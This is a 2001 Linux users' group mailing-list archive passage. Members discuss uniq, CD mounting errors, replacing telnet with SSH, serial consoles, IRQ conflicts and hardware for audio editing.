\_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) Gates '81 > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] > > ------------------------------------------------------------------------ > Part 1.2Type: application/pgp-signature From hick0088 at tc.umn.edu Fri Aug 17 00:05:12 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] sort In-Reply-To: <01081623373701.27243@friday.tarsk.com> References: <01081623373701.27243@friday.tarsk.com> Message-ID: <20010817000512.6aa8caa5.hick0088@tc.umn.edu> Jay Kline wrote: > > Its been a while since I have needed this, but I need to sort some > files, and remove duplicate line entries. uniq? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Make it idiot proof and / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ someone will make a \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) better idiot. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010817/27f22bc3/attachment.pgp From list at slushpupie.com Fri Aug 17 00:01:10 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] sort In-Reply-To: <20010817000512.6aa8caa5.hick0088@tc.umn.edu> References: <01081623373701.27243@friday.tarsk.com> <20010817000512.6aa8caa5.hick0088@tc.umn.edu> Message-ID: <01081700011003.27243@friday.tarsk.com> Yes! Thats it, thanks. On Friday 17 August 2001 12:05 am, you wrote: > Jay Kline wrote: > > Its been a while since I have needed this, but I need to sort some > > files, and remove duplicate line entries. > > uniq? -- Jay Kline list@slushpupie.com http://www.slushpupie.com I remember when legal used to mean lawful, now it means some kind of loophole. -- Leo Kessler From rob at tatsumaki.org Fri Aug 17 00:13:26 2001 From: rob at tatsumaki.org (Rob Bajorek) Date: Mon Jan 17 13:26:30 2005 Subject: [TCLUG] sort In-Reply-To: <01081623373701.27243@friday.tarsk.com>; from list@slushpupie.com on Thu, Aug 16, 2001 at 11:37:37PM -0500 References: <01081623373701.27243@friday.tarsk.com> Message-ID: <20010817001326.A6195@madoka.tatsumaki.org> Thus spake Jay Kline (list@slushpupie.com): > Its been a while since I have needed this, but I need to sort some files, and > remove duplicate line entries. I thought sort had that functionality built > in, but in searching the man pages it dosnt seem to. The problem is I have > to do this on different systems and dont want to write custom scripts, as > there are too many different systems to distribute anything like that. I > would not mind typing a simple 1-2 line script, but I was sure there was some > standard unix utility that does this. Anyone know it? The command you want is 'uniq'. $ sort file1 file2 | uniq Rob From blayer at qwest.net Fri Aug 17 00:33:53 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] HDD IO optimizing In-Reply-To: <025101c126d4$683f84c0$6601a8c0@cargill.com> References: <017a01c125be$23fea730$3028680a@tgt.com> <025101c126d4$683f84c0$6601a8c0@cargill.com> Message-ID: <20010817003353.3bb4e317.blayer@qwest.net> On Thu, 16 Aug 2001 23:23:46 -0500 "Joel Luth" wrote: > I had a Caviar crap out on me once. (maybe that takes the jinx off you) When I was supporting some old Dell hardware about a year ago, I had two Western Digital Caviar 33XXX series (3GB) just die on me within a span of a few weeks. Both suffered a hard fault, and were not recoverable. I have a friend with the selfsame drive in her home machine, I'm urging her to replace it before it turns into a replace,recover & reload... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From awolkoff at visi.com Fri Aug 17 01:01:00 2001 From: awolkoff at visi.com (Adam Wolkoff) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <01081623165900.27243@friday.tarsk.com> References: <01081623165900.27243@friday.tarsk.com> Message-ID: <20010817060100.D364C7A926@visi.com> > Ok, what is the CD you are trying to mount? Norton Antivirus. The DVD drive reads it just fine. > > # this is the standard CD format > mount -t iso9660 /dev/cdrom2 /mnt/cdrom2 mount: block device /dev/cdrom2 is write protected, mounting read only mount: wrong fs type, bad option, bad superblock on dev/cdrom2, or too many mounted file systems > # some windows cd's are fat systems (very rare) > mount -t vfat /dev/cdrom2 /mnt/cdrom2 mount: block device /dev/cdrom2 is write protected, mounting read only mount: wrong fs type, bad option, bad superblock on dev/cdrom2, or too many mounted file systems > # some linux rescue cds are native linux format > mount -t ext2 /dev/cdrom2 /mnt/cdrom2 mount: block device /dev/cdrom2 is write protected, mounting read only mount: wrong fs type, bad option, bad superblock on dev/cdrom2, or too many mounted file systems > > The other thing to make sure of is that it mounts ok with your other drive. > If you have a working DVD drive, stick a cd in there to test. It works fine in the other drive. Also tried other disks with results similar to those reported above. The above was attempted after turning off supermount and editing the fstab command as stated in your prior email. my head hurts From list at slushpupie.com Fri Aug 17 07:03:49 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <20010817060100.D364C7A926@visi.com> References: <01081623165900.27243@friday.tarsk.com> <20010817060100.D364C7A926@visi.com> Message-ID: <01081707034904.27243@friday.tarsk.com> Are you sure this is the exact error mesesage? having it refer to dev/cdrom2 and not /dev/cdrom2 can be a problem. That may mean you are not typing the first / though it looks like you are based on the first mount message. > mount: block device /dev/cdrom2 is write protected, mounting read only > mount: wrong fs type, bad option, bad superblock on dev/cdrom2, or too many > mounted file systems > Anyway, I think the next step is to turn SCSI emulation off just to make sure you can read from the drive ok. I am not a SCSI emulation expert, so maybe someone else here can explain how to do it? PS- sorry your first encounter with Linux has been so bizarre. It is fairly unusual for a system to do that off a default install of Mandrake. Hope it dosnt turn you off from Linux- it makes a fun challenge anyway! Jay -- Jay Kline list@slushpupie.com http://www.slushpupie.com "I'd love to go out with you, but my favorite commercial is on TV." From clay at fandre.com Fri Aug 17 07:52:37 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010816195546.50258ee7.hick0088@tc.umn.edu> References: <004a01c12651$42616490$0ad2e5cf@means.net> <20010816195546.50258ee7.hick0088@tc.umn.edu> Message-ID: <20010817075237.B28171@fandre.com> Yes, please listen to Mike. (for once) Let's rid the world of telnet and r-services. There really isn't a need for them anymore. If you don't believe me, just start running dsniff for a while. You'll see what I mean. dpkg -r telnetd rpm -e telnet-server apt-get install ssh rpm -i ssh Mike Hicks [hick0088@tc.umn.edu] wrote: > "Raymond Norton" wrote: > > > > I have tried to restart my Linux server via Telnet, but have be > > unsuccessful. Can someone give be the specifics for this. > > SSH! http://www.openssh.com/ and probably a package inside a distribution > near you. > > Sorry, force of habit.. > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ #define EWATERGATE /* > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Extended tape gap */ > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From JStauffe at StPaulSoftware.com Fri Aug 17 08:17:50 2001 From: JStauffe at StPaulSoftware.com (James Stauffer) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Performance of editing large files Message-ID: <3B7D197E.7BF0C6B1@StPaulSoftware.com> I have a Athlon 500 with 384MB of RAM and ATA/66 disks. I edit large files on it (700MB wav files on average). What it the best way to increase performance of editing? IDE RAID? Upgrade mobo and install 1GB of DDR RAM? Something else? (I am currently running Win98 because I have only found one program (SoundForge) that allows me to mark multiple sections for deletion and delete them all at once.) Thanks for your advice. From simeonuj at eetc.com Fri Aug 17 08:15:31 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Mail reader etc. Message-ID: <3B7D18F0.8A584939@eetc.com> What command line/console mail reader works best w/ PGP decryption? I am getting sick of having to type my pass phrase in so many freakin' times (maybe I should just use a shorter phrase). :) I've tried mutt and kinda like it. Haven't really done anything with it yet though. I was also wondering about how to get mail on a Linux system in the first place... I've never used on for mail before except w/ the GUI readers that do everything for you. How do I get mail from a mail server in Linux? How can I only download the mail I want to read at the console? I don't want to download everything as I get a lot of mail and don't have much space. I'm slightly confused about the whole process. sim From peter.clark at tides.com Fri Aug 17 09:16:14 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Re: Newbie intro and question Message-ID: <200108171320.f7HDK3e16807@sprite.real-time.com> -- Adam Wolkoff wrote: > mount: block device /dev/cdrom2 is write protected, mounting read > only > mount: wrong fs type, bad option, bad superblock on dev/cdrom2, or > too many > mounted file systems I've seen this error before--when I recompiled the kernel once, I forgot that my ATAPI Zip drive (the internal kind) needed some sort of SCSI emulation support. Result: the exact above error. Now, on a stock kernel, I would imagine that all such things would be taken care of, so my first guess would be that a module isn't being loaded. I don't know which module would be required for a CD-RW, but for the Zip drive, scsi_mod and ide-scsi take care of things. Try the following command from a terminal: 'lsmod | grep scsi' - lsmod lists the loaded kernel modules, grep finds the ones containing the word scsi. If you don't see anything, or only scsi_mod, do the following: 'modprobe scsi_mod' - If scsi-mod did not appear 'modprobe ide-scsi' - If ide-scsi did not appear Then try to mount your CD. Again, I'm taking a wild shot in the dark, but that's my guess. Tell me what happens. :Peter From andy at theasis.com Fri Aug 17 03:32:49 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817075237.B28171@fandre.com> Message-ID: > Yes, please listen to Mike. (for once) Let's rid the world of telnet > and r-services. There really isn't a need for them anymore. If you Unfortunately, you need telnet to talk to most little routers (like ISDN routers) over the network. Whatashame. Andy From troy.johnson at health.state.mn.us Fri Aug 17 08:39:21 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] [OFF-TOPIC][WAY] CD-RW DriveProvidesMuchFrustration UnderWin98 & Win2K Message-ID: Florin, Spencer, and Doug, Thanks again. I installed the newest 4in1 driver pack from VIA and turned off DMA on the drive and it now works like a charm (or CD-RW). I should say my mother did those things. I relayed the instructions over the phone, so it took a while (but shorter than two car trips). :-) I do appreciate the time you took to answer and all of your good advice. Troy >>> troy.johnson@health.state.mn.us 08/16/01 12:07PM >>> Florin, I was wondering about that but I did not try it as I thought the burner might need it and it was way past sleepy time when I was looking at it. I will get the latest drivers and disable DMA and see what comes of it. Thank you very much! Troy >>> florin@iucha.net 08/16/01 11:15AM >>> >Make sure you download the latest >drivers and disable DMA in control panel. _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From veldy at veldy.net Fri Aug 17 08:43:43 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Performance of editing large files References: <3B7D197E.7BF0C6B1@StPaulSoftware.com> Message-ID: <007901c12722$a259f3e0$3028680a@tgt.com> For one thing, Windows 2000 will better suite your needs if you are going to use Windows. It handles priorities and virtual memory FAR better. If there is a lot of disk activity and you are maxing out your CPU, you might consider using a SCSI controller and hard drive, this will off load the CPU a bit and the disk will handle the concurrent reads and writes better. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "James Stauffer" To: "TCLUG" Sent: Friday, August 17, 2001 8:17 AM Subject: [TCLUG] Performance of editing large files > I have a Athlon 500 with 384MB of RAM and ATA/66 disks. I edit large > files on it (700MB wav files on average). What it the best way to > increase performance of editing? IDE RAID? Upgrade mobo and install > 1GB of DDR RAM? Something else? (I am currently running Win98 because > I have only found one program (SoundForge) that allows me to mark > multiple sections for deletion and delete them all at once.) Thanks for > your advice. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From lxy at cloudnet.com Fri Aug 17 09:23:49 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010816195546.50258ee7.hick0088@tc.umn.edu> Message-ID: On Thu, 16 Aug 2001, Mike Hicks wrote: > > I have tried to restart my Linux server via Telnet, but have be > > unsuccessful. Can someone give be the specifics for this. > > SSH! http://www.openssh.com/ and probably a package inside a distribution > near you. Yeah, I was one of those those folks who su'd over telnet. Then I got compromised. Reformat, restore from back up, install SSH, change root password, all back up now. Now there's the news of an exploit in telnetd, just strengthens my argument that telnet needs to go away. -Brian From list at slushpupie.com Fri Aug 17 09:32:17 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: Message-ID: Not that I disagree that SSH is more secure than telnet, but telnet has its place too. Mostly, not on the Internet on a trusted LAN. I work for a company that deals with hundreds of unix servers on a day to day basis (all over the country), and they all run telnet. Its not something that can be changed easily, because they are not our servers, they are our customers. But almost none of them have telnet accessible from the Internet, you can only get into their networks via modem. Telnet is well established (there are clients for it preinstalled on most every OS- save old Mac) and as long as it is used in the right environments, thats fine. Lets not push for the demise of telnet, lets push for proper education on when to run it. (and the internet is NOT a place to run it) Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Brian Sent: Friday, August 17, 2001 9:24 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] restarting Redhat 7x via telnet On Thu, 16 Aug 2001, Mike Hicks wrote: > > I have tried to restart my Linux server via Telnet, but have be > > unsuccessful. Can someone give be the specifics for this. > > SSH! http://www.openssh.com/ and probably a package inside a distribution > near you. Yeah, I was one of those those folks who su'd over telnet. Then I got compromised. Reformat, restore from back up, install SSH, change root password, all back up now. Now there's the news of an exploit in telnetd, just strengthens my argument that telnet needs to go away. -Brian _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Fri Aug 17 09:33:31 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] Performance of editing large files In-Reply-To: <3B7D197E.7BF0C6B1@StPaulSoftware.com> Message-ID: On Fri, 17 Aug 2001, James Stauffer wrote: > I have a Athlon 500 with 384MB of RAM and ATA/66 disks. I edit large > files on it (700MB wav files on average). What it the best way to > increase performance of editing? > IDE RAID? Yes. > Upgrade mobo and install 1GB of DDR RAM? Yes. Parts are cheap. 1.4 Ghz Athlons for $108 this morning. > Something else? Go SCSI or at least ATA/100 RAID. Buy a newer board with ATA/100 support (I like the ECS K7VZA myself) and get yourself an IDE RAID controller. Unless you have extra money laying around, then SCSI will make you happier. Another solution might be to switch to BeOS. It's EXTREMELY fast on my PIII 500 with 128 MB RAM. It's designed for multimedia and has a decent (not excellent) selection of WAV editors. There's a free demo copy on be.com or I think it's $50 for the full version (extra apps, manual, etc). -Brian From lxy at cloudnet.com Fri Aug 17 09:47:23 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: Message-ID: On Fri, 17 Aug 2001 andy@theasis.com wrote: > Unfortunately, you need telnet to talk to most little routers (like ISDN > routers) over the network. Whatashame. Paranoid: Step 1. Connect Linux box to console port on switches/routers/etc Step 2. SSH into linux box. Use minicom. Not so paranoid: Just set up a box internally that you can SSH to. telnet from there into your switches/routers. You're far safer doing this by keeping the telnet stream off the interent and in a safer environment. -Brian From florin at iucha.net Fri Aug 17 09:57:19 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: ; from list@slushpupie.com on Fri, Aug 17, 2001 at 09:32:17AM -0500 References: Message-ID: <20010817095719.B29089@beaver.iucha.org> On Fri, Aug 17, 2001 at 09:32:17AM -0500, Jay Kline wrote: > Not that I disagree that SSH is more secure than telnet, but telnet has its place > too. Mostly, not on the Internet on a trusted LAN. I work for a company that > deals with hundreds of unix servers on a day to day basis (all over the country), > and they all run telnet. Its not something that can be changed easily, because > they are not our servers, they are our customers. But almost none of them have > telnet accessible from the Internet, you can only get into their networks via > modem. Telnet is well established (there are clients for it preinstalled on most > every OS- save old Mac) and as long as it is used in the right environments, thats > fine. Lets not push for the demise of telnet, lets push for proper education on > when to run it. (and the internet is NOT a place to run it) You forget about malicious users... Anybody can set up a snifer on a corporate network and most of the time the sys/netadmins won't notice. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From andy at theasis.com Fri Aug 17 04:58:31 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: Message-ID: > > Paranoid: > Step 1. Connect Linux box to console port on switches/routers/etc > Step 2. SSH into linux box. Use minicom. > > Not so paranoid: > Just set up a box internally that you can SSH to. telnet from there into > your switches/routers. You're far safer doing this by keeping the telnet > stream off the interent and in a safer environment. When you say "internally", I assume you mean behind a firewall, which is what I do. In fact, my usual practice is per your "Paranoid" approach. However the point is that in order for the "Not so paranoid" approach to work, you must have telnet installed on something, and therein lies the problem. You'd then have to take extra measures to make it unavailable for ill-considered purposes by other users. You do reinforce the previous point that there are ways/places to use telnet that are reasonable. But to me this is very different than eradicating it altogether -- it's just not feasible at this point. Andy > -Brian From florin at iucha.net Fri Aug 17 10:00:38 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:31 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files In-Reply-To: ; from lxy@cloudnet.com on Fri, Aug 17, 2001 at 09:33:31AM -0500 References: <3B7D197E.7BF0C6B1@StPaulSoftware.com> Message-ID: <20010817100038.C29089@beaver.iucha.org> On Fri, Aug 17, 2001 at 09:33:31AM -0500, Brian wrote: > On Fri, 17 Aug 2001, James Stauffer wrote: > > > I have a Athlon 500 with 384MB of RAM and ATA/66 disks. I edit large > > files on it (700MB wav files on average). What it the best way to > > increase performance of editing? > > > IDE RAID? > Yes. > > > Upgrade mobo and install 1GB of DDR RAM? > Yes. Parts are cheap. 1.4 Ghz Athlons for $108 this morning. Gee! At the beginning of the week they were $107 for Athlon 1.33 and $140 for 1.4 . WOW! florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From lxy at cloudnet.com Fri Aug 17 10:01:05 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:31 2005 Subject: [TCLUG] exporting console to serial port Message-ID: I have a few headless boxen around that run as I think they should, quietly in the corner and never need to be touched. Well, every once in a great while I need to mess with them. Carrying around a monitor and keyboard everywhere I go isn't an option. Carrying around a junky laptop is. I know it can be done, but how do I export a console session (tty2) to the serial port (ttyS0) and then open a console session on my laptop? I assume I could easily set an export option on the linux server and then use minicom as if I'm logging into any other device (router, switch). Where do I set that up? -Brian From veldy at veldy.net Fri Aug 17 10:02:51 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:31 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files References: <3B7D197E.7BF0C6B1@StPaulSoftware.com> <20010817100038.C29089@beaver.iucha.org> Message-ID: <009c01c1272d$b0de3a10$3028680a@tgt.com> From esper at sherohman.org Fri Aug 17 10:04:34 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:32 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817095719.B29089@beaver.iucha.org>; from florin@iucha.net on Fri, Aug 17, 2001 at 09:57:19AM -0500 References: <20010817095719.B29089@beaver.iucha.org> Message-ID: <20010817100434.C22483@sherohman.org> On Fri, Aug 17, 2001 at 09:57:19AM -0500, Florin Iucha wrote: > You forget about malicious users... Anybody can set up a snifer on a corporate > network and most of the time the sys/netadmins won't notice. Well, I can think of three ways around that: 1) Keep root locked up tight. No root, no promiscuous mode, no sniffer. 2) Use switches instead of hubs. You can't sniff a packet that doesn't reach your NIC. 3) Only hire people who don't know enough about networking to do things like that. Unfortunately, most companies seem to rely entirely on #3. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From list at slushpupie.com Fri Aug 17 10:06:07 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <20010817095719.B29089@beaver.iucha.org> Message-ID: Still, logins are tracked. If a system gets messed up, and "username" logged in from computer43.network.com, and su'd to root all at about the same time, you can track it down. As far as network sniffers go, you had better stop using POP on that same network, because most Unix systems have the same POP password as the system account. IMAP is the same. So are many other utilities used in this setting. FTP is another common one. Generally, though- there is the concept of a "Trusted Network" where you dont have those same concerns. jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Florin Iucha Sent: Friday, August 17, 2001 9:57 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] restarting Redhat 7x via telnet On Fri, Aug 17, 2001 at 09:32:17AM -0500, Jay Kline wrote: > Not that I disagree that SSH is more secure than telnet, but telnet has its place > too. Mostly, not on the Internet on a trusted LAN. I work for a company that > deals with hundreds of unix servers on a day to day basis (all over the country), > and they all run telnet. Its not something that can be changed easily, because > they are not our servers, they are our customers. But almost none of them have > telnet accessible from the Internet, you can only get into their networks via > modem. Telnet is well established (there are clients for it preinstalled on most > every OS- save old Mac) and as long as it is used in the right environments, thats > fine. Lets not push for the demise of telnet, lets push for proper education on > when to run it. (and the internet is NOT a place to run it) You forget about malicious users... Anybody can set up a snifer on a corporate network and most of the time the sys/netadmins won't notice. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From Phillip.J.Crump at WellsFargo.COM Fri Aug 17 10:16:19 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:26:33 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files Message-ID: <43353280FCFFD211971E00005801192E064457AE@msgmsp15.norwest.com> Try www.googlegear.com > -----Original Message----- > From: Thomas T. Veldhouse [SMTP:veldy@veldy.net] > Sent: Friday, August 17, 2001 10:03 AM > To: tclug-list@mn-linux.org > Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large > files > > From where? Is it from a reliable distributor? TranMicro is selling it > for > $189. > > Tom Veldhouse > veldy@veldy.net > > > > > Gee! At the beginning of the week they were $107 for Athlon 1.33 and > $140 > for > > 1.4 . > > > > WOW! > > > > florin > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From sandeen at sgi.com Fri Aug 17 10:32:24 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] exporting console to serial port References: Message-ID: <3B7D3908.4591E649@sgi.com> Brian wrote: > I know it can be done, but how do I export a console session (tty2) to the > serial port (ttyS0) and then open a console session on my laptop? I > assume I could easily set an export option on the linux server and then > use minicom as if I'm logging into any other device (router, > switch). Where do I set that up? This is probably what you're looking for: http://www.linuxdoc.org/HOWTO/Remote-Serial-Console-HOWTO/ -ERic -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From lxy at cloudnet.com Fri Aug 17 10:55:50 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] exporting console to serial port In-Reply-To: <3B7D3908.4591E649@sgi.com> Message-ID: On Fri, 17 Aug 2001, Eric Sandeen wrote: > This is probably what you're looking for: > > http://www.linuxdoc.org/HOWTO/Remote-Serial-Console-HOWTO/ Yup, gracias. For some reason, the index on linuxdocs.org does not have this HOWTO listed, and the index on linuxdoc.org does. Time for me to stop using linuxdocs.org I guess. And what's up with the banner ads on linuxdocs? -Brian From dutchman at uswest.net Fri Aug 17 10:52:26 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] IRQ Question Message-ID: <3B7D3DBA.3050108@uswest.net> Good Morning all, What is another good IRQ for a network card? Traditionally, it is 10 but it is butting heads with with my USB. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From blayer at qwest.net Fri Aug 17 10:58:40 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] IRQ Question In-Reply-To: <3B7D3DBA.3050108@uswest.net> References: <3B7D3DBA.3050108@uswest.net> Message-ID: <20010817105840.7eb97504.blayer@qwest.net> On Fri, 17 Aug 2001 10:52:26 -0500 "Perry Hoekstra" wrote: > Good Morning all, > > What is another good IRQ for a network card? Traditionally, it is 10 > but it is butting heads with with my USB. If the NIC is a PCI card, it should be able to share IRQ 10 with the USB. Otherwise, my second choices would be IRQ 11, then IRQ 9. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From dutchman at uswest.net Fri Aug 17 11:07:57 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] IRQ Question References: <3B7D3DBA.3050108@uswest.net> <20010817105840.7eb97504.blayer@qwest.net> Message-ID: <3B7D415D.4050709@uswest.net> Bill Layer wrote: > On Fri, 17 Aug 2001 10:52:26 -0500 > "Perry Hoekstra" wrote: > > >>Good Morning all, >> >>What is another good IRQ for a network card? Traditionally, it is 10 >>but it is butting heads with with my USB. >> > > If the NIC is a PCI card, it should be able to share IRQ 10 with the USB. > Otherwise, my second choices would be IRQ 11, then IRQ 9. Well, that is what I thought too, however, I am having problems with my network card. If I do an ifconfig, all RX packets are lost and the light on my hub flashes on and off which I have never seen before. The card is a LinkSys 10/100 card that I have not had problems with that class of cards in the past, though this is the first time I have tried this card. My first thought was try to change the IRQ. My problem is the sound card is on 11 and the video card is on 9. What about 5? -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From lxy at cloudnet.com Fri Aug 17 11:16:49 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:33 2005 Subject: [TCLUG] IRQ Question In-Reply-To: <3B7D415D.4050709@uswest.net> Message-ID: On Fri, 17 Aug 2001, Perry Hoekstra wrote: > this card. My first thought was try to change the IRQ. My problem is > the sound card is on 11 and the video card is on 9. What about 5? Well, if you want a textbook computer move the sound to IRQ 5 and then move the net card to 11. If you just want it to work you can try using 5. -Brian From lxy at cloudnet.com Fri Aug 17 11:25:02 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:33 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files In-Reply-To: <009c01c1272d$b0de3a10$3028680a@tgt.com> Message-ID: On Fri, 17 Aug 2001, Thomas T. Veldhouse wrote: > >From where? Is it from a reliable distributor? TranMicro is selling it for > $189. pricewatch has a whole pile of vendors for <$120. They're probably white box, but since they have DOA guarantees I'd buy one. -Brian From veldy at veldy.net Fri Aug 17 11:58:28 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:34 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files References: Message-ID: <001c01c1273d$d62b8830$0101a8c0@cascade> I would prefer to buy locally personally. Tom ----- Original Message ----- From: "Brian" To: Sent: Friday, August 17, 2001 11:25 AM Subject: Re: [OFFTOPIC] Re: [TCLUG] Performance of editing large files > On Fri, 17 Aug 2001, Thomas T. Veldhouse wrote: > > > >From where? Is it from a reliable distributor? TranMicro is selling it for > > $189. > > pricewatch has a whole pile of vendors for <$120. They're probably white > box, but since they have DOA guarantees I'd buy one. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From clay at fandre.com Fri Aug 17 12:19:00 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:34 2005 Subject: [TCLUG] IRQ Question In-Reply-To: References: <3B7D415D.4050709@uswest.net> Message-ID: <20010817121900.A16610@fandre.com> It doesn't really matter what IRQ your NIC card uses, as long as it is capable of using it, and it is available. Try pulling out some cards and seeing if the NIC works by itself. Then put them back one at a time and see what is causing problems. Brian [lxy@cloudnet.com] wrote: > On Fri, 17 Aug 2001, Perry Hoekstra wrote: > > > this card. My first thought was try to change the IRQ. My problem is > > the sound card is on 11 and the video card is on 9. What about 5? > > Well, if you want a textbook computer move the sound to IRQ 5 and then > move the net card to 11. If you just want it to work you can try using 5. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 17 12:31:15 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:34 2005 Subject: [OFFTOPIC] Re: [TCLUG] Performance of editing large files In-Reply-To: <001c01c1273d$d62b8830$0101a8c0@cascade> References: <001c01c1273d$d62b8830$0101a8c0@cascade> Message-ID: <20010817123114.A18414@fandre.com> I've always bought my systems from pricewatch and have never had any problems with them. I do stick with the better brands though. (Asus, Abit, etc.) Buying online does make it more difficult to 